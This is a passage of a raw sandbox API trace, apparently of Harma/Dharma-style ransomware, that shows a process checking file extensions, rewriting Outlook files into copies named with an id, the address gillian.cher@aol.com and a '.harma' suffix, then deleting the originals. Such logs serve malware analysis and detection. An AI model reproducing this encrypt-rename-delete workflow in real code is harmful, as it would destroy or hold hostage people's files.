lstrlenW (lpString=".1cd") returned 4 [0158.950] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0158.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67 [0158.950] lstrlenW (lpString=".jpg") returned 4 [0158.950] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0158.950] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0158.950] lstrlenW (lpString="OUTLOOK.DEV_F_COL.HXK") returned 21 [0158.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0158.951] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=114) returned 1 [0158.951] CloseHandle (hObject=0x338) returned 1 [0158.951] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_f_col.hxk")) returned 0x20 [0158.951] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0158.951] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0158.952] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0158.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0158.952] GetLastError () returned 0x0 [0158.952] ReadFile (in: hFile=0x338, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x72, lpOverlapped=0x0) returned 1 [0158.954] WriteFile (in: hFile=0x340, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x80, lpOverlapped=0x0) returned 1 [0158.955] ReadFile (in: hFile=0x338, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0158.955] WriteFile (in: hFile=0x340, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xfe, lpOverlapped=0x0) returned 1 [0158.955] SetEndOfFile (hFile=0x340) returned 1 [0158.955] CloseHandle (hObject=0x340) returned 1 [0158.955] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0158.955] SetEndOfFile (hFile=0x338) returned 1 [0158.958] CloseHandle (hObject=0x338) returned 1 [0158.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0158.958] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_f_col.hxk")) returned 1 [0158.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69 [0158.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69 [0158.959] lstrlenW (lpString=".doc") returned 4 [0158.959] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0158.959] lstrlenW (lpString=".docx") returned 5 [0158.959] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0158.959] lstrlenW (lpString=".pdf") returned 4 [0158.959] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0158.959] lstrlenW (lpString=".xls") returned 4 [0158.959] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0158.959] lstrlenW (lpString=".xlsx") returned 5 [0158.959] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0158.959] lstrlenW (lpString=".ppt") returned 4 [0158.959] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0158.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69 [0158.959] lstrlenW (lpString=".zip") returned 4 [0158.959] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0158.959] lstrlenW (lpString=".rar") returned 4 [0158.959] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0158.959] lstrlenW (lpString=".bz2") returned 4 [0158.959] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0158.959] lstrlenW (lpString=".7z") returned 3 [0158.959] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0158.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69 [0158.959] lstrlenW (lpString=".dbf") returned 4 [0158.960] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0158.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69 [0158.960] lstrlenW (lpString=".1cd") returned 4 [0158.960] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0158.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69 [0158.960] lstrlenW (lpString=".jpg") returned 4 [0158.960] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0158.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69 [0158.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69 [0158.960] lstrlenW (lpString=".doc") returned 4 [0158.960] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0158.960] lstrlenW (lpString=".docx") returned 5 [0158.960] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0158.960] lstrlenW (lpString=".pdf") returned 4 [0158.960] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0158.960] lstrlenW (lpString=".xls") returned 4 [0158.960] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0158.960] lstrlenW (lpString=".xlsx") returned 5 [0158.960] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0158.960] lstrlenW (lpString=".ppt") returned 4 [0158.960] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0158.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69 [0158.960] lstrlenW (lpString=".zip") returned 4 [0158.960] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0158.960] lstrlenW (lpString=".rar") returned 4 [0158.960] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0158.960] lstrlenW (lpString=".bz2") returned 4 [0158.960] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0158.960] lstrlenW (lpString=".7z") returned 3 [0158.960] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0158.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69 [0158.961] lstrlenW (lpString=".dbf") returned 4 [0158.961] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0158.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69 [0158.961] lstrlenW (lpString=".1cd") returned 4 [0158.961] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0158.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69 [0158.961] lstrlenW (lpString=".jpg") returned 4 [0158.961] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0158.961] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0158.961] lstrlenW (lpString="OUTLOOK.DEV_K_COL.HXK") returned 21 [0158.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0158.962] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=113) returned 1 [0158.962] CloseHandle (hObject=0x338) returned 1 [0158.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_k_col.hxk")) returned 0x20 [0158.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0158.962] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0158.962] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0158.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0158.963] GetLastError () returned 0x0 [0158.963] ReadFile (in: hFile=0x338, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x71, lpOverlapped=0x0) returned 1 [0158.966] WriteFile (in: hFile=0x340, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x80, lpOverlapped=0x0) returned 1 [0158.967] ReadFile (in: hFile=0x338, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0158.967] WriteFile (in: hFile=0x340, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xfe, lpOverlapped=0x0) returned 1 [0158.967] SetEndOfFile (hFile=0x340) returned 1 [0158.967] CloseHandle (hObject=0x340) returned 1 [0158.968] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0158.968] SetEndOfFile (hFile=0x338) returned 1 [0158.970] CloseHandle (hObject=0x338) returned 1 [0158.970] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0158.970] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_k_col.hxk")) returned 1 [0158.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69 [0158.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69 [0158.971] lstrlenW (lpString=".doc") returned 4 [0158.971] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0158.971] lstrlenW (lpString=".docx") returned 5 [0158.971] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0158.971] lstrlenW (lpString=".pdf") returned 4 [0158.971] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0158.971] lstrlenW (lpString=".xls") returned 4 [0158.971] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0158.971] lstrlenW (lpString=".xlsx") returned 5 [0158.971] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0158.971] lstrlenW (lpString=".ppt") returned 4 [0158.971] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0158.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69 [0158.971] lstrlenW (lpString=".zip") returned 4 [0158.971] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0158.971] lstrlenW (lpString=".rar") returned 4 [0158.971] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0158.971] lstrlenW (lpString=".bz2") returned 4 [0158.971] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0158.972] lstrlenW (lpString=".7z") returned 3 [0158.972] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0158.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69 [0158.972] lstrlenW (lpString=".dbf") returned 4 [0158.972] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0158.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69 [0158.972] lstrlenW (lpString=".1cd") returned 4 [0158.972] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0158.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69 [0158.972] lstrlenW (lpString=".jpg") returned 4 [0158.972] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0158.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69 [0158.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69 [0158.972] lstrlenW (lpString=".doc") returned 4 [0158.972] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0158.972] lstrlenW (lpString=".docx") returned 5 [0158.972] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0158.972] lstrlenW (lpString=".pdf") returned 4 [0158.972] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0158.972] lstrlenW (lpString=".xls") returned 4 [0158.972] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0158.972] lstrlenW (lpString=".xlsx") returned 5 [0158.972] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0158.972] lstrlenW (lpString=".ppt") returned 4 [0158.972] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0158.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69 [0158.972] lstrlenW (lpString=".zip") returned 4 [0158.972] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0158.973] lstrlenW (lpString=".rar") returned 4 [0158.973] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0158.973] lstrlenW (lpString=".bz2") returned 4 [0158.973] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0158.973] lstrlenW (lpString=".7z") returned 3 [0158.973] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0158.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69 [0158.973] lstrlenW (lpString=".dbf") returned 4 [0158.973] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0158.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69 [0158.973] lstrlenW (lpString=".1cd") returned 4 [0158.973] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0158.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69 [0158.973] lstrlenW (lpString=".jpg") returned 4 [0158.973] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0158.973] lstrcmpiW (lpString1=".HOL", lpString2=".harma") returned 1 [0158.973] lstrlenW (lpString="OUTLOOK.HOL") returned 11 [0158.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hol"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0158.974] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=1287548) returned 1 [0158.974] CloseHandle (hObject=0x338) returned 1 [0158.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hol")) returned 0x20 [0158.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hol.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hol"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0158.974] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0158.974] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0158.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hol.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0158.975] GetLastError () returned 0x0 [0158.975] ReadFile (in: hFile=0x338, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0xffff0, lpOverlapped=0x0) returned 1 [0159.424] WriteFile (in: hFile=0x340, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0159.442] ReadFile (in: hFile=0x338, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x3a58c, lpOverlapped=0x0) returned 1 [0159.708] WriteFile (in: hFile=0x340, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x3a590, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x3a590, lpOverlapped=0x0) returned 1 [0159.721] ReadFile (in: hFile=0x338, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0159.721] WriteFile (in: hFile=0x340, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0159.721] SetEndOfFile (hFile=0x340) returned 1 [0159.721] CloseHandle (hObject=0x340) returned 1 [0159.721] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0159.721] SetEndOfFile (hFile=0x338) returned 1 [0159.824] CloseHandle (hObject=0x338) returned 1 [0159.858] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0159.873] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hol")) returned 1 [0159.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59 [0159.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59 [0159.874] lstrlenW (lpString=".doc") returned 4 [0159.874] lstrcmpiW (lpString1=".doc", lpString2=".HOL") returned -1 [0159.874] lstrlenW (lpString=".docx") returned 5 [0159.874] lstrcmpiW (lpString1=".docx", lpString2="K.HOL") returned -1 [0159.874] lstrlenW (lpString=".pdf") returned 4 [0159.874] lstrcmpiW (lpString1=".pdf", lpString2=".HOL") returned 1 [0159.874] lstrlenW (lpString=".xls") returned 4 [0159.874] lstrcmpiW (lpString1=".xls", lpString2=".HOL") returned 1 [0159.874] lstrlenW (lpString=".xlsx") returned 5 [0159.874] lstrcmpiW (lpString1=".xlsx", lpString2="K.HOL") returned -1 [0159.874] lstrlenW (lpString=".ppt") returned 4 [0159.874] lstrcmpiW (lpString1=".ppt", lpString2=".HOL") returned 1 [0159.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59 [0159.874] lstrlenW (lpString=".zip") returned 4 [0159.874] lstrcmpiW (lpString1=".zip", lpString2=".HOL") returned 1 [0159.874] lstrlenW (lpString=".rar") returned 4 [0159.874] lstrcmpiW (lpString1=".rar", lpString2=".HOL") returned 1 [0159.875] lstrlenW (lpString=".bz2") returned 4 [0159.875] lstrcmpiW (lpString1=".bz2", lpString2=".HOL") returned -1 [0159.875] lstrlenW (lpString=".7z") returned 3 [0159.875] lstrcmpiW (lpString1=".7z", lpString2="HOL") returned -1 [0159.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59 [0159.875] lstrlenW (lpString=".dbf") returned 4 [0159.875] lstrcmpiW (lpString1=".dbf", lpString2=".HOL") returned -1 [0159.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59 [0159.875] lstrlenW (lpString=".1cd") returned 4 [0159.875] lstrcmpiW (lpString1=".1cd", lpString2=".HOL") returned -1 [0159.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59 [0159.875] lstrlenW (lpString=".jpg") returned 4 [0159.875] lstrcmpiW (lpString1=".jpg", lpString2=".HOL") returned 1 [0159.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59 [0159.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59 [0159.875] lstrlenW (lpString=".doc") returned 4 [0159.875] lstrcmpiW (lpString1=".doc", lpString2=".HOL") returned -1 [0159.875] lstrlenW (lpString=".docx") returned 5 [0159.875] lstrcmpiW (lpString1=".docx", lpString2="K.HOL") returned -1 [0159.875] lstrlenW (lpString=".pdf") returned 4 [0159.876] lstrcmpiW (lpString1=".pdf", lpString2=".HOL") returned 1 [0159.876] lstrlenW (lpString=".xls") returned 4 [0159.876] lstrcmpiW (lpString1=".xls", lpString2=".HOL") returned 1 [0159.876] lstrlenW (lpString=".xlsx") returned 5 [0159.876] lstrcmpiW (lpString1=".xlsx", lpString2="K.HOL") returned -1 [0159.876] lstrlenW (lpString=".ppt") returned 4 [0159.876] lstrcmpiW (lpString1=".ppt", lpString2=".HOL") returned 1 [0159.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59 [0159.876] lstrlenW (lpString=".zip") returned 4 [0159.876] lstrcmpiW (lpString1=".zip", lpString2=".HOL") returned 1 [0159.876] lstrlenW (lpString=".rar") returned 4 [0159.876] lstrcmpiW (lpString1=".rar", lpString2=".HOL") returned 1 [0159.876] lstrlenW (lpString=".bz2") returned 4 [0159.876] lstrcmpiW (lpString1=".bz2", lpString2=".HOL") returned -1 [0159.876] lstrlenW (lpString=".7z") returned 3 [0159.876] lstrcmpiW (lpString1=".7z", lpString2="HOL") returned -1 [0159.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59 [0159.876] lstrlenW (lpString=".dbf") returned 4 [0159.876] lstrcmpiW (lpString1=".dbf", lpString2=".HOL") returned -1 [0159.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59 [0159.876] lstrlenW (lpString=".1cd") returned 4 [0159.876] lstrcmpiW (lpString1=".1cd", 